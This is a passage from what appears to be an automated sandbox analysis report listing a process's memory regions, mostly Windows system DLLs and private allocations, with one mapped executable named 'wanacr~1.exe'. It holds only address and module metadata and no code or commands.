region_type = private name = "private_0x0000000101490000" filename = "" Region: id = 4561 start_va = 0x101660000 end_va = 0x1016dffff entry_point = 0x0 region_type = private name = "private_0x0000000101660000" filename = "" Region: id = 4562 start_va = 0x7ff617c0a000 end_va = 0x7ff617c0bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0a000" filename = "" Region: id = 4563 start_va = 0x7ff617c0c000 end_va = 0x7ff617c0dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0c000" filename = "" Region: id = 4564 start_va = 0x101050000 end_va = 0x101056fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4569 start_va = 0x7ffd18990000 end_va = 0x7ffd18a42fff entry_point = 0x7ffd189910e8 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 4570 start_va = 0x7ffd18970000 end_va = 0x7ffd18989fff entry_point = 0x7ffd18980f04 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 4571 start_va = 0x7ffd18960000 end_va = 0x7ffd1896afff entry_point = 0x7ffd18963b44 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 4572 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 4573 start_va = 0x7ffd179d0000 end_va = 0x7ffd17a1cfff entry_point = 0x7ffd179d0000 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 4574 start_va = 0x7ffd179c0000 end_va = 0x7ffd179cdfff entry_point = 0x7ffd179c0000 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 4575 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4577 start_va = 0x7ffd17990000 end_va = 0x7ffd179b9fff entry_point = 0x7ffd17990000 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 4582 start_va = 0x1016e0000 end_va = 0x10175ffff entry_point = 0x0 region_type = private name = "private_0x00000001016e0000" filename = "" Region: id = 4583 start_va = 0x7ff617c08000 end_va = 0x7ff617c09fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c08000" filename = "" Region: id = 4584 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4585 start_va = 0x7ffd17a40000 end_va = 0x7ffd17a47fff entry_point = 0x7ffd17a40000 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 4586 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4587 start_va = 0x7ffd17910000 end_va = 0x7ffd1798bfff entry_point = 0x7ffd17910000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 4589 start_va = 0x7ffd19300000 end_va = 0x7ffd19377fff entry_point = 0x7ffd19301420 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 4601 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbe2c60 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 4612 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101060000" filename = "" Region: id = 4613 start_va = 0x101760000 end_va = 0x1017dffff entry_point = 0x0 region_type = private name = "private_0x0000000101760000" filename = "" Region: id = 4614 start_va = 0x1017e0000 end_va = 0x10185ffff entry_point = 0x0 region_type = private name = "private_0x00000001017e0000" filename = "" Region: id = 4615 start_va = 0x7ff617c04000 end_va = 0x7ff617c05fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c04000" filename = "" Region: id = 4616 start_va = 0x7ff617c06000 end_va = 0x7ff617c07fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c06000" filename = "" Region: id = 4628 start_va = 0x7ffd1cba0000 end_va = 0x7ffd1cc36fff entry_point = 0x7ffd1cba18bc region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 4629 start_va = 0x101060000 end_va = 0x101061fff entry_point = 0x101066180 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 4631 start_va = 0x101070000 end_va = 0x101073fff entry_point = 0x101070000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 4634 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 4679 start_va = 0x101860000 end_va = 0x1018dffff entry_point = 0x0 region_type = private name = "private_0x0000000101860000" filename = "" Region: id = 4680 start_va = 0x1018e0000 end_va = 0x10195ffff entry_point = 0x0 region_type = private name = "private_0x00000001018e0000" filename = "" Region: id = 4681 start_va = 0x7ff617c00000 end_va = 0x7ff617c01fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c00000" filename = "" Region: id = 4682 start_va = 0x7ff617c02000 end_va = 0x7ff617c03fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c02000" filename = "" Region: id = 4732 start_va = 0x7ffd1c7a0000 end_va = 0x7ffd1c7effff entry_point = 0x7ffd1c7a194c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 4733 start_va = 0x101070000 end_va = 0x101070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101070000" filename = "" Region: id = 4739 start_va = 0x101070000 end_va = 0x101071fff entry_point = 0x101076180 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 4740 start_va = 0x101510000 end_va = 0x101513fff entry_point = 0x101510000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 4759 start_va = 0x101510000 end_va = 0x101513fff entry_point = 0x101510000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 4760 start_va = 0x101960000 end_va = 0x1019dffff entry_point = 0x0 region_type = private name = "private_0x0000000101960000" filename = "" Region: id = 4761 start_va = 0x7ff617bfe000 end_va = 0x7ff617bfffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bfe000" filename = "" Region: id = 4787 start_va = 0x1019e0000 end_va = 0x101a5ffff entry_point = 0x0 region_type = private name = "private_0x00000001019e0000" filename = "" Region: id = 4788 start_va = 0x101a60000 end_va = 0x101adffff entry_point = 0x0 region_type = private name = "private_0x0000000101a60000" filename = "" Region: id = 4789 start_va = 0x7ff617bfa000 end_va = 0x7ff617bfbfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bfa000" filename = "" Region: id = 4790 start_va = 0x7ff617bfc000 end_va = 0x7ff617bfdfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bfc000" filename = "" Region: id = 4815 start_va = 0x100b60000 end_va = 0x100bdffff entry_point = 0x0 region_type = private name = "private_0x0000000100b60000" filename = "" Region: id = 4816 start_va = 0x7ff617d48000 end_va = 0x7ff617d49fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d48000" filename = "" Region: id = 4877 start_va = 0x101ae0000 end_va = 0x101bdffff entry_point = 0x0 region_type = private name = "private_0x0000000101ae0000" filename = "" Region: id = 4919 start_va = 0x101070000 end_va = 0x101070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101070000" filename = "" Region: id = 4956 start_va = 0x101410000 end_va = 0x10148ffff entry_point = 0x0 region_type = private name = "private_0x0000000101410000" filename = "" Region: id = 4957 start_va = 0x7ff617c0e000 end_va = 0x7ff617c0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0e000" filename = "" Region: id = 4960 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4961 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf310000 region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 4962 start_va = 0x101be0000 end_va = 0x101cdffff entry_point = 0x0 region_type = private name = "private_0x0000000101be0000" filename = "" Region: id = 4999 start_va = 0x101ce0000 end_va = 0x101d43fff entry_point = 0x101ce0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 5024 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5039 start_va = 0x101070000 end_va = 0x101070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101070000" filename = "" Region: id = 5057 start_va = 0x101070000 end_va = 0x101073fff entry_point = 0x101070000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5062 start_va = 0x101510000 end_va = 0x10154dfff entry_point = 0x101510000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 5144 start_va = 0x101ce0000 end_va = 0x101ce3fff entry_point = 0x101ce0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5145 start_va = 0x101cf0000 end_va = 0x101d70fff entry_point = 0x101cf0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 5164 start_va = 0x101d80000 end_va = 0x101d80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101d80000" filename = "" Region: id = 5231 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 5270 start_va = 0x101d80000 end_va = 0x101dfffff entry_point = 0x0 region_type = private name = "private_0x0000000101d80000" filename = "" Region: id = 5271 start_va = 0x7ff617bf8000 end_va = 0x7ff617bf9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf8000" filename = "" Region: id = 5555 start_va = 0x101e00000 end_va = 0x101e01fff entry_point = 0x101e00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5556 start_va = 0x101e10000 end_va = 0x101e17fff entry_point = 0x101e10000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5557 start_va = 0x101e00000 end_va = 0x101e01fff entry_point = 0x101e00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5558 start_va = 0x101e10000 end_va = 0x101e17fff entry_point = 0x101e10000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5584 start_va = 0x101e00000 end_va = 0x101e00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101e00000" filename = "" Region: id = 6313 start_va = 0x101e00000 end_va = 0x101e00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101e00000" filename = "" Region: id = 6572 start_va = 0x101e00000 end_va = 0x101e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000101e00000" filename = "" Region: id = 6573 start_va = 0x7ff617bf6000 end_va = 0x7ff617bf7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf6000" filename = "" Region: id = 6574 start_va = 0x7ffd18d70000 end_va = 0x7ffd18da9fff entry_point = 0x7ffd18d70000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 6584 start_va = 0x7ffd13a30000 end_va = 0x7ffd13aaefff entry_point = 0x7ffd13a30000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 6593 start_va = 0x101e80000 end_va = 0x101efffff entry_point = 0x0 region_type = private name = "private_0x0000000101e80000" filename = "" Region: id = 6594 start_va = 0x7ff617bf4000 end_va = 0x7ff617bf5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf4000" filename = "" Region: id = 6595 start_va = 0x7ffd139a0000 end_va = 0x7ffd139f1fff entry_point = 0x7ffd139a0000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 6596 start_va = 0x101f00000 end_va = 0x101f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000101f00000" filename = "" Region: id = 6597 start_va = 0x7ff617bf2000 end_va = 0x7ff617bf3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf2000" filename = "" Region: id = 6598 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x101f80000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 6599 start_va = 0x101f80000 end_va = 0x101ffffff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6600 start_va = 0x7ff617bf0000 end_va = 0x7ff617bf1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf0000" filename = "" Region: id = 6601 start_va = 0x7ffd138b0000 end_va = 0x7ffd13992fff entry_point = 0x7ffd138b0000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6606 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6607 start_va = 0x7ffd184c0000 end_va = 0x7ffd184d1fff entry_point = 0x7ffd184c19d8 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 6611 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6612 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6613 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6614 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6615 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6616 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6617 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6618 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6619 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6620 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6621 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6622 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6623 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6624 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6625 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6626 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6627 start_va = 0x101f80000 end_va = 0x101f80fff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6628 start_va = 0x7ffd137a0000 end_va = 0x7ffd137bffff entry_point = 0x7ffd137a0000 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 6671 start_va = 0x7ffd18d60000 end_va = 0x7ffd18d6dfff entry_point = 0x7ffd18d60000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 6672 start_va = 0x7ffd13790000 end_va = 0x7ffd13797fff entry_point = 0x7ffd13790000 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 6673 start_va = 0x7ffd13770000 end_va = 0x7ffd1378ffff entry_point = 0x7ffd13770000 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 6674 start_va = 0x7ffd13710000 end_va = 0x7ffd1376afff entry_point = 0x7ffd13710000 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 6681 start_va = 0x7ffd136f0000 end_va = 0x7ffd13705fff entry_point = 0x7ffd136f0000 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 6682 start_va = 0x101f80000 end_va = 0x101ffffff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 6683 start_va = 0x7ff617bf0000 end_va = 0x7ff617bf1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf0000" filename = "" Region: id = 6684 start_va = 0x7ffd136c0000 end_va = 0x7ffd136ebfff entry_point = 0x7ffd136c0000 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 6686 start_va = 0x7ffd1b9e0000 end_va = 0x7ffd1b9e8fff entry_point = 0x7ffd1b9e2258 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 6689 start_va = 0x102000000 end_va = 0x10207ffff entry_point = 0x0 region_type = private name = "private_0x0000000102000000" filename = "" Region: id = 6690 start_va = 0x7ff617bee000 end_va = 0x7ff617beffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bee000" filename = "" Region: id = 6691 start_va = 0x7ffd13670000 end_va = 0x7ffd136b8fff entry_point = 0x7ffd13670000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 6693 start_va = 0x102080000 end_va = 0x1020fffff entry_point = 0x0 region_type = private name = "private_0x0000000102080000" filename = "" Region: id = 6694 start_va = 0x7ff617bec000 end_va = 0x7ff617bedfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bec000" filename = "" Region: id = 6695 start_va = 0x7ffd13600000 end_va = 0x7ffd1366afff entry_point = 0x7ffd13600000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 6697 start_va = 0x7ffd1c750000 end_va = 0x7ffd1c767fff entry_point = 0x7ffd1c754d78 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 6700 start_va = 0x7ffd1a150000 end_va = 0x7ffd1a214fff entry_point = 0x7ffd1a15109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6701 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6702 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6703 start_va = 0x102100000 end_va = 0x10217ffff entry_point = 0x0 region_type = private name = "private_0x0000000102100000" filename = "" Region: id = 6704 start_va = 0x7ff617bea000 end_va = 0x7ff617bebfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bea000" filename = "" Region: id = 6705 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd153158fc region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 6707 start_va = 0x102180000 end_va = 0x10220ffff entry_point = 0x0 region_type = private name = "private_0x0000000102180000" filename = "" Region: id = 6708 start_va = 0x102210000 end_va = 0x1022bffff entry_point = 0x0 region_type = private name = "private_0x0000000102210000" filename = "" Region: id = 6709 start_va = 0x102180000 end_va = 0x1021fffff entry_point = 0x0 region_type = private name = "private_0x0000000102180000" filename = "" Region: id = 6710 start_va = 0x102200000 end_va = 0x10220ffff entry_point = 0x0 region_type = private name = "private_0x0000000102200000" filename = "" Region: id = 6711 start_va = 0x7ff617be8000 end_va = 0x7ff617be9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be8000" filename = "" Region: id = 6712 start_va = 0x7ffd135b0000 end_va = 0x7ffd135f7fff entry_point = 0x7ffd135b0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 6713 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 6714 start_va = 0x102210000 end_va = 0x10228ffff entry_point = 0x0 region_type = private name = "private_0x0000000102210000" filename = "" Region: id = 6715 start_va = 0x1022b0000 end_va = 0x1022bffff entry_point = 0x0 region_type = private name = "private_0x00000001022b0000" filename = "" Region: id = 6716 start_va = 0x7ff617be6000 end_va = 0x7ff617be7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be6000" filename = "" Region: id = 6717 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 6718 start_va = 0x1022c0000 end_va = 0x1023bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001022c0000" filename = "" Region: id = 6719 start_va = 0x1023c0000 end_va = 0x1023fffff entry_point = 0x0 region_type = private name = "private_0x00000001023c0000" filename = "" Region: id = 6723 start_va = 0x7ffd13530000 end_va = 0x7ffd135a9fff entry_point = 0x7ffd13530000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 6775 start_va = 0x102400000 end_va = 0x10247ffff entry_point = 0x0 region_type = private name = "private_0x0000000102400000" filename = "" Region: id = 6776 start_va = 0x102480000 end_va = 0x10267ffff entry_point = 0x0 region_type = private name = "private_0x0000000102480000" filename = "" Region: id = 6777 start_va = 0x7ff617be4000 end_va = 0x7ff617be5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be4000" filename = "" Region: id = 6778 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6779 start_va = 0x102680000 end_va = 0x1026fffff entry_point = 0x0 region_type = private name = "private_0x0000000102680000" filename = "" Region: id = 6780 start_va = 0x7ff617be2000 end_va = 0x7ff617be3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be2000" filename = "" Region: id = 6781 start_va = 0x7ffd13520000 end_va = 0x7ffd13528fff entry_point = 0x7ffd13520000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 6837 start_va = 0x102700000 end_va = 0x10277ffff entry_point = 0x0 region_type = private name = "private_0x0000000102700000" filename = "" Region: id = 6838 start_va = 0x7ff617be0000 end_va = 0x7ff617be1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be0000" filename = "" Region: id = 6840 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db410c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6842 start_va = 0x7ffd1d000000 end_va = 0x7ffd1d04dfff entry_point = 0x7ffd1d000000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6879 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 6880 start_va = 0x102780000 end_va = 0x1027fffff entry_point = 0x0 region_type = private name = "private_0x0000000102780000" filename = "" Region: id = 6881 start_va = 0x102800000 end_va = 0x10287ffff entry_point = 0x0 region_type = private name = "private_0x0000000102800000" filename = "" Region: id = 6882 start_va = 0x7ff617bdc000 end_va = 0x7ff617bddfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bdc000" filename = "" Region: id = 6883 start_va = 0x7ff617bde000 end_va = 0x7ff617bdffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bde000" filename = "" Region: id = 6885 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 6890 start_va = 0x7ffd13120000 end_va = 0x7ffd13154fff entry_point = 0x7ffd13120000 region_type = mapped_file name = "aelupsvc.dll" filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll") Region: id = 6891 start_va = 0x102880000 end_va = 0x1028fffff entry_point = 0x0 region_type = private name = "private_0x0000000102880000" filename = "" Region: id = 6892 start_va = 